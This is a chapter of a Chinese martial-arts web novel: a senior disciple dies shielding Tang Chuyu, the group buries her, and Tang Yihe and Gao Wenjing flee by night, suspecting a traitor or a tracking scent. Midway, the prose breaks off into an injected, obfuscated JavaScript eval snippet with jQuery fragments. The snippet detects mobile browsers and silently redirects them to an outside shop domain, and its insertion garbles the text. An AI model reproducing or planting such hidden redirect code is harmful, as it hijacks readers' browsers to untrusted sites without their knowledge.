唐楚玉耳膜仿佛蜂鸣一般,视野的边缘则出现点点光斑,一定是在做梦,不不不,就算是疯子在最荒诞无比的梦境里,也不会看到比这更可怕的景象。
他麻木地伸手,接过软倒的丽娟师姐,随之跪坐在地上,心脏也产生了被枪剑刺入的幻痛,嘴中发出无意识的嗬嗬之声。
原来是唐丽娟师姐!
是她拦在了唐楚玉身前,为他挡下了这致命一击。
石小舟一击得手,立马施展轻功逃遁,声音自远处传来:“师傅说饶了他对手的三人,可没说饶了我这边的三个,后会有期了。”
高文璟和仅剩的黑衣护卫二人追了上去,但很快就折返回来,因为高文璟内伤不轻,又隔了一段距离,几个起纵后发现与石小舟的距离更远了,心知无法追上,只好作罢。
高文璟回来后,发现唐一禾正满手是血地往唐丽娟嘴里塞一粒硕大的药丸,一旁脸色惨白的唐烈风正在劝阻:“丽娟师姐,她,已经咽气了。”
唐一禾一甩胳膊,把唐烈风推个趔趄:“胡说,白术说了,不管多重的伤都能救回来。”
高文璟暗自摇头,这一枪直接穿心而过,即时毙命,根本就不是伤重与否的问题。高文璟环顾四周,心道君白术去哪里了?他虽然武艺差点,但头脑极佳,心智奇绝,又有一手惊天医术,他要在这,形势未必会艰难至此。难不成他看到石敢当来了,审时度势后选择躲在万安堂当乌龟?
但现在不是探究这个的时候,因为唐楚玉失了魂,唐一禾发了呆,至于唐烈风,更是形容狼狈,现在亟需有人站出来稳定局势。
高文璟四下扫了一眼,快步上前跟明正土司道谢,在含蓄表明身份的同时,也恳请明正土司再予援手——无论是随行护卫还是疗伤殓尸,他都需要人手帮忙。
明正土司原本好大不耐烦,等看到高文璟的谈吐气度后,觉得给北地豪族的顺手人情不做白不做,于是拨了一支上百人的队伍帮助善后,便带着女儿女婿先行回寨了。唐司南伤重,早在岳丈点头保人时,就已经昏死过去,甲木姿心急如焚,顾不得客套半句,也急匆匆地走掉了。
有了人手,高文璟心中踏实了许多,顾不得有伤在身,带人先将战死的黑衣护卫、制部弟子逐一安葬,等一切料理妥当后,才回来处理最棘手的问题。
唐楚玉一直将唐丽娟的尸身抱在怀中,不让任何人碰,姿势僵硬,神色可怖。旁边不远处则瘫坐着唐一禾,手里还抓着那粒大药丸在发呆,内伤最重的唐烈风,已经贴着唐一禾的后背,在打坐调息了。
见唐一禾使了几次劲儿,都没法站起来,高文璟快步走了过去:“我背你吧,趁着明正土司的人还在,我们得先往山里边去,这里还是不安全。”
唐一禾腰上挨那一下,差点没把她腰打断,生死关头一直强顶着一口气,等精神松懈下来后,一下子变得剧痛难忍。她刚才抢救唐丽娟师姐未果,就势瘫倒在地,现在别说逃命赶路,爬都爬不起来。
此时见高文璟主动相询,内力恢复三成的唐一禾还想硬气,被高文璟拦腰抱起,轻轻往背上一甩,双手握拳往上一兜:“别逞强,烈风如何?”
“无妨,已经好多了。”唐烈风站起时脚步微晃,身上十余处创口来不及清理,带血的衣衫破碎,看起来形容狼狈,但气势依然铮铮,似乎这世上没有什么事,能压垮这个天才少年。
“好。”高文璟并不多言,背着唐一禾、带着唐烈风走到唐楚玉跟前,扭头对唐一禾说:“队长,你试试把他的魂喊回来。”
唐一禾心下了然,难怪高文璟刚刚不由分说,又是抱又是背,原来是要让她来当恶人。
“行吧,我试试!”唐一禾双手使劲扒住高文璟肩膀,把头往前往下探,从喉咙里挤出高亢的呼喊,“丽娟师姐您放心,我一定照顾好你最放心不下的楚玉!丽娟师姐你别怪他,他现在没法替你报仇,那个什么破船烂舟的,他还打不过!丽娟师姐,我会督促他练武,鞭策他上进……”
话还没说完,就见唐楚玉猛然抬头,脸色铁青地看向面前二人:“别喊了,别扰得她九泉之下不得安宁。”
唐一禾立刻噤声,只听高文璟轻声说:“不想让她担心,就赶紧跟着土司的人走。不然石敢当折回来,我们都得交代在这里。你想想宗门,想想外祖父,想想白家,不能再意气用事了。”
黑衣护卫已经默默地站在一侧,手里握着拿着干净的布巾,见唐楚玉终于肯松手,马上将布巾递过:“让唐姑娘入土为安吧。”
唐丽娟师姐的坟冢很快立好,唐楚玉默默地看了几眼木主,决绝地转身就走,声音裹进冷风里送出:“她从来嫌我幼稚,嫌我意气用事,却在心底怜我爱我,我唐楚玉发誓,一定手刃仇人,为她报仇。”
高文璟背着唐一禾,一言不发快步跟上。他与唐楚玉无话不说,知道他自小爱慕丽娟师姐,丽娟师姐对他也颇多照拂,二人同门情谊深厚,一直到少年楚玉鼓起勇气表达爱意,遭丽娟师姐婉拒后,他才羞愤离蜀,外出历练。
此次回来,唐楚玉心里未尝没有存下心思,尤其是拿下唐门令、成为大长老之后,他还兴高采烈地跟高文璟说过,他现在既成熟又稳重,不逊之前的司雅师兄,丽娟师姐都跟他说过一百零三句话了。
唐一禾注意到那名黑衣护卫没有跟上,轻声问高文璟:“那个护卫大哥?”
“哦,他是护卫首领正言,他没有露过相,走保宁那条路,能快马过关到陇北,然后提前找人来接应。”高文璟把唐一禾托到马背上,然后他也翻身上马,沿川西道向北,直往货栈方向赶去。
唐一禾借力靠在高文璟身上,腰间传来紧贴的热意,是文璟用双掌托住了她的后腰,让她少受颠簸冲击。唐一禾是有些不自在的,尤其贴得如此之近,被高文璟身上的熏香熏得发晕。
高文璟一开始保持姿势不动,但很快身体发了僵,可能也是为了摆脱尴尬,他开始主动与彝人头目寒暄。这一聊可是让自认为会聊天的唐一禾,都生出了顶礼膜拜之感。
分明是有求于人,愣是让高文璟聊出了火热氛围。客套话听不出客套,恭维话全是真心,反正走到货栈时,那个百人队伍的彝人头目要不是碍于土司之命,就要把高文璟押回山寨拜把子了。
得了五匹好马的彝人兄弟也不含糊,请巫医给四人都诊治包扎利索了,又备好了干粮和常备药,牵来了几匹膘肥体壮的骡子,用并不标准的官话细细叮嘱了路上的要紧事,才与高文璟一行依依惜别。
彝人头目带队一走,四人立刻启程,沿着川西道前往吐谷浑。唐一禾的腰伤经巫医推拿后更疼了,本来她坚决不肯再让高文璟背,坚持要让骡子驮着走,结果骡子背上颠簸得厉害,强撑不到五里地就已经汗流浃背,再被高文璟背起的时候,她没有半分推拒,从善如流得很。
“还是文璟背上稳当,你比骡子强多了。”唐一禾见高文璟颈上青筋浮起,知道类比不当,马上转移话题,“要是白术在这就好了,我们的伤能好个大半,可惜是个奸细。”
高文璟走得早了一步,并不知道这一节,于是唐一禾又将前因后果,原原本本地说了一遍,反正让人出力,总得表示点什么,比如说书。
高文璟一言不发地听完,并未如唐一禾所料的愤怒,而是淡淡地问:“‘天煞还魂丹’就是你要给丽娟师姐的那粒?”
唐一禾愣了一下:“对啊,不会有毒吧?我想着白术,哎,就叫他白术吧,他之前给的所有东西都管用得很,所以我,我就……”
“我的意思是,倘若如白术所说的那般珍贵,那是他特意留给你保命用的,你就这般轻易拿出来,给不过几面之缘的丽娟师姐吗?”高文璟边说边跳过一个沟坎,上身纹丝不动,让趴伏其上的唐一禾几乎感觉不到起伏。
“啊?”唐一禾惊讶道,“难不成见死不救?丽娟师姐不是,不是,楚玉的心上人吗?而且她对我也心存善念,一颗药丸有什么舍不得的?”
高文璟默然不语,又问出了第二个问题:“石敢当要收你为徒,那会儿你们分明已经山穷水尽,你为何不顺势应下,先保了命再说。”
唐一禾更惊讶了,虽然这个念头也在她脑海中一闪而过,但她可不会承认:“那怎么能行,生而为人有所为、有所不为,比起活命来说,总是有更重要的……不对,明正土司来之前,我们也已经是山穷水尽,文璟你明知石敢当在这里,为何还不要命地过来?”
高文璟见唐一禾将问题甩了回来,不由微微一笑,带着肩膀些许耸动:“难不成见死不救?你唐一禾,还有烈风、楚玉,难道不是我过命交情的朋友吗?而且也不是一定打不过,我的一条命又有什么舍不得的?”
唐一禾听到她之前的话,转个圈又被送了回来,忍俊不禁道:“这可不一样,一枚搞不清效用的药丸子,和一条高门贵子的性命,不能同日而语的。”
听了这二人太极般的对话,唐烈风已经无语了,他扭头朝高文璟问道:“君白术藏得那般深,文璟你跟他走得近,之前有怀疑过他吗?”
高文璟愣一下,心想他有跟君白术走得近吗?再一想,唐楚玉跟君白术不太对付,动不动吵架,唐烈风寡言少语,眼里只有他师姐,相比之下,他还真算是跟君白术走得近的人。回想起来,君白术确实时不时来找他探讨武艺、棋局、甚至诗文,每一次都相谈甚欢。
“当然有,你们相识太过巧合,他的能力又太过惊人,我让楚玉去查过他的底细,结果出身清白、身份可靠。后来丹霞峰那次,队长让他去叫帮手,确实来得太慢了,之后我也去探过缘由,的确是唐司丰拖延,不过他当时完全可以采取更坚决的手段。”高文璟垂眸淡声,语调如平静的湖水。
唐一禾敏锐察觉到高文璟的情绪变化,马上接过话头:“他年纪太轻了,怎么也想不到会是‘鬼面夫妇’的师叔,‘千手佛陀’吴问的师弟,而他口中的师傅竟然是‘药王’孙延世。哎哎,真是气死我了,虽说我给他的也是假的藏宝图吧,哼哼,想占我便宜,门儿都没有。”
“各为其主罢了,你敢说,我们五人并肩作战的时候,他对我们没有一点真心在?”高文璟语气低沉,却又字句分明。
唐一禾沉默了,捏紧的拳头也慢慢放松,一直想听的这句话,终于被高文璟说了出来——她真的也很想恨君白术,但心底却始终盘桓着一种复杂的情绪。
“不说他了,说回你。你不是改陆路、回陇北了吗?怎么能这么快赶了回来?还能在川西道上,这么及时地找到我们?”唐一禾揽紧了高文璟的脖子,鼻尖传来他身上特有的清苦馨香。
此时前头牵骡子的两人,一齐停下了脚步,一直闷头赶路的唐楚玉,也默默地转身回望——要不是高文璟回来得及时,他们几个已经没命了。
“路上接到老祖归西的飞鸽传书,联想到这个当口石敢当入蜀,唐门怕是要变天,于是打算劝你们随我一同北上。”高文璟顿了顿,没有掩饰心中后怕,“就没想跟石敢当正面对战,料想他应该在唐家堡坐镇。我还担心目标太大,只带了正言、正观两人,结果还没到逍遥楼,远远看到围成了铁桶,方圆一里全是暗哨。情况比预想的还要糟,唐家堡陷落得太快,你们成为了主要目标。”
“然后呢,你怎么找到我们的?”唐一禾身体前倾,探着脖子问。
“见李金燕先是往西南方向追去了,于是我们也跟了过去,追出去十余里觉得不对劲,不仅你们不见踪迹,连李金燕都不知去向。”高文璟稍稍偏了一下头,才继续往下说,“折返途中得知石敢当赶去了川西道,于是快马加鞭地过来了。”
唐楚玉脸色已经稍有缓和:“文璟会回来,我一点都不惊讶,我不是早就跟你们说了嘛,文璟外冷内热,最适合做朋友。”
唐一禾见唐楚玉愿意说话了,才问道:“楚玉,逍遥楼的人你查了吗?你觉得如果真有奸细,会是谁?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617588|203360||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“来不及细细盘查,一切似乎都正常得很。”唐楚玉眉头紧皱,突然想到一节,“管家白安白叔,向来是拴在我外祖父裤腰带上的,这次竟然没有跟去戎州,说是西域那边的货物入库出了点问题,他得盘查清楚。”
高文璟想了想,说:“白叔身家性命都捏在白老爷手里,按理说不至于。再说他管着大库,这个理由倒也说得通。”
唐一禾与白安仅打过照面,并不相熟,不便表达意见,于是她又将高文璟的话过了一遍,然后突然心里一沉:“文璟,我觉得不对劲。”
“嗯?”高文璟略略偏头,锋利的下颌线仿佛能划开夜色。
“你先是跟着李金燕追去了西南方,追出去十余里,失去了踪迹后才折返。但从你们各自到这的时辰来推算,李金燕她根本没追出去多远,就确定了我们在川西道,反而是你被我们的障眼法骗得更久。而且,听她师弟的意思,还是石敢当告诉她我们的位置。”唐一禾再次揽紧高文璟的脖子,身体略略前伸,“你不觉得,她来得太快、太笃定了吗?追击理应分兵,而她可是带齐了‘十方戮’过来的,我之前就觉得不对劲,现在一想……”
唐楚玉不以为然:“只能说,她们人多,对我们势在必得。”
“确实不对劲。”夜色中,高文璟突然停下了脚步,“我们可能要换一条路走了。”
“不是吧?”唐一禾吃惊道,“真的有这么严重?我还以为是我杞人忧天,被吓得有点疑神疑鬼了呢。”
高文璟嗯了一声,让其他两人从骡子背上拣出最当紧的东西,扎好包袱各自背好,然后给骡子做好“吊饵竿”,又猛抽了几鞭子,赶着三只傻骡子颠颠地沿着山路往前跑了。
“石敢当不会善罢甘休的,我要是他,也会以退为进,斩草除根。”高文璟背着唐一禾,丝毫没有影响他的速度,从骡马商路的一侧攀山改道,一马当先地穿梭在密林之中。
其他两人也是二话不说跟上,只听高文璟边走边解释:“我原打算去彝人狩猎歇脚的山洞中过夜休整,那个头目说洞口极为隐密,现在看怕是不行了。如果你们身上真被下了什么药,石敢当追了过来,就是瓮中捉鳖。”
“我们被下了药?”唐楚玉惊叫起来,终于彻底恢复了活人气。
“我不确定,但我不敢赌,可以试试另一条路。低头,有树刺!”高文璟拔开前方的密刺枝条,提醒唐一禾贴紧,然后继续往下说,“你们在逍遥楼耍的那一手好障眼法,连我当时都把不准,你们究竟打算去哪?结果石敢当却胸有成足,看这追踪的速度和人手,要么是逍遥楼出了奸细,要么是你们身上沾上了灵猫香或鹿血麝之类,猎犬或者专习追踪之人能据此确定大致范围。”
“我们三人从逍遥楼密道走的时候,没有其他人知道啊。”唐楚玉的眉头深深皱起,然后下意识地拍打身上衣物,好像这样就能甩脱追踪一样。
唐烈风从后侧追上,罩了一块厚布在唐一禾脸上:“趴好,小心被刺划伤,别东张西望的。文璟,我们现在去哪?”
“走白兰圣山那边,刚刚跟彝人兄弟攀谈,我知道有个地方适合过夜,快点走的话,约莫两个时辰能到。”高文璟沉沉地说,“灵猫香最远不过七八里,如果能平安过得今晚,也就可以放下心来了。走白兰圣山那条道,也能去吐谷浑,无非是绕了一圈,多走些路罢了。”
三人脚程极快,一口气爬上了白兰圣山的山顶断崖处,唐一禾估摸着天色,正是最浓稠的黑夜,应该尚未及寅时。
“就是这了。”高文璟将唐一禾放下,招呼唐烈风来扶,他则转身走向崖顶另一侧,“我去看看那边的绳桥。”
唐烈风寻到一处避风岩下,扶着唐一禾坐好,又从包袱里拿出肉干清水,分食补充体力。过得一阵,高文璟回来了,脸色如常,眼眸清亮:“绳梯和荡索都没问题,险是险了点,对咱们而言倒是正好。离天明还有两个时辰,你们先睡一会,我来守夜。”
唐一禾摇头,扶着岩壁站起来,一瘸一拐地走到路口上方瞭望位:“你们仨睡吧,我这一路休息够了,况且我的六识你们也都见过,只管放心大胆地睡。”
三人一致仰头,冲着唐一禾微笑,如月色中绽开的昙花,美好又短暂,然后各自寻了舒服的位置,或打坐、或调息、或休憩。
唐一禾轻轻地按压着腰侧,觉得巫医也不是一无是处,腰伤已经好转了一些,动起来没那么疼了。感觉到竹筒里的碧螣有些兴奋,唐一禾掀盖将其放出,归入山林的它兴奋无比,嘶嘶地到处游走,身子似乎都大了一圈,火红的冠子微微发乌。
唐一禾心中一动,按照师傅传授的法子,撅起舌根,发出极高频尖细的声浪。果然碧螣也随之扭摆,嘶嘶声也变得高亢起来。
几乎是同时,唐一禾听到四面八方传来窸窸窣窣的动静,然后她惊愕无比地看到,数不清的毒虫毒蛇从林中、地底钻出,朝着这边爬行游走过来,吓得她立马停止——这阵仗比五毒教还要猛烈,可能是这白兰圣山植被茂密,地理气候适合蛇虫的繁衍。
不过唐一禾停了,碧螣没有停,相反它更加亢奋了,嘶嘶着朝着林中飞速游走过去,带着黑压压一片影子蔓延过去。还好还好,它们自己玩去吧,毕竟蜈蚣蝎子之流都围拢过来,算不得多赏心悦目。
唐一禾收敛心神,打开六识——反正无事,不妨尝试着训练一下感知。闭目时风先醒了,从眉骨滑向耳后,带着凉津津的苔藓气,松针在头顶交换着秘语,沙沙声里掺进半粒山雀的啁啾。
好像有点意思了,唐一禾进一步断念内观,当体内感知入微后,再反推到体外,连秋毫之末都尽收眼底。鼻尖是朽木的沉郁,混着新蕈的腥甜,她舌尖不自主地抵住上颚,仿佛也尝到一丝若有若无的甜意。
突然“咔”一声极轻微的细响,似乎是很远的地方,枯叶被踩踏的声音,一道警觉的电流在唐一禾脑中闪过。
“有人来了。”